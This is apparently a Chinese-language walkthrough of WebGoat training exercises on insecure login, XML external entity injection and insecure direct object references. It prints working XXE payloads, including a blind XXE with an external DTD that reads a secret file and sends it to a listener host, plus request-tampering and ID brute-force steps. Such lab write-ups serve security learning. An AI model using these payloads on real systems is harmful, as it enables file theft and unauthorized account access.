一、Insecure Login
打开代理,点击login,发现登陆的账号和密码没加密,提交可过关。
二、xxe
1.Let’s try
设置代理进行抓包,发现我们评论的内容是在用xml进行传递这时候我们可以编写dtd来进行内部实体注入
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY root SYSTEM "file:///">
]>
<comment> <text>&root;</text></comment>
2.Modern REST framework
设置代理进行抓包,发现我们评论的内容是在用json进行传递,这时候我们可以改头部的Content-Type成 application/xml,这样换成xml形式提交
3.Blind XXE assignment
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.3.88:8000/a.dtd">
%dtd;
%print;
%send;
]>
<comment> <text>cute</text></comment>
a.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///root/.webgoat-8.1.0/XXE/secret.txt">
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://192.168.3.88:8000/landing?text=%file;'>">
python -m http.server 8000
将%20替换成空格提交即可过关
三、Broken Access Control
1.Insecure Direct Object References
(1)Authenticate First, Abuse Authorization Later
根据提示提交tom ,cat
(2)Observing Differences & Behaviors
打开代理,点击view profile
放行之后发现浏览器回显只有三个,把没回显的key值提交即可。
(3)Guessing & Predicting Patterns
这里题目让我们猜测url,我们观察之前查看信息的包的url
猜测应该大概和这个路径差不多,回应包有uid,而且是用get提交
url=WebGoat/IDOR/profile?userId=2342384
发现上面的payload不行,那就猜测可能是一个文件
url=WebGoat/IDOR/profile/2342384
(4)Playing with the Patterns
View Another Profile
上一关知道如何查看信息,要查看其他人的信息就直接抓包进行爆破
爆破结果2342388
Edit Another Profile
修改用户的数值,打开代理,点击第二个view frofile
抓包 右击空白处->Do intercept->response to this request
修改
GET /WebGoat/IDOR/profile/%7BuserId%7D HTTP/1.1
改成
GET /WebGoat/IDOR/profile/2342388 HTTP/1.1
点击forward把包给放了
将包里面的
"output" : "{role=3, color=brown, size=large, name=Buffalo Bill, userId=2342388}"
改为
"output" : "{role=3, color=red, size=large, name=Buffalo Bill, userId=2342388}"
点击forward把包给放了,即可过关
2.Missing Function Level Access Control
(1)Relying on Obscurity
按F12检查菜单附近的代码
(2)Just Try It
根据提示利用上一题的隐藏菜单(http://192.168.3.88:8080/WebGoat/users),用代理访问抓包修改Content-Type:application/json,提交获得hash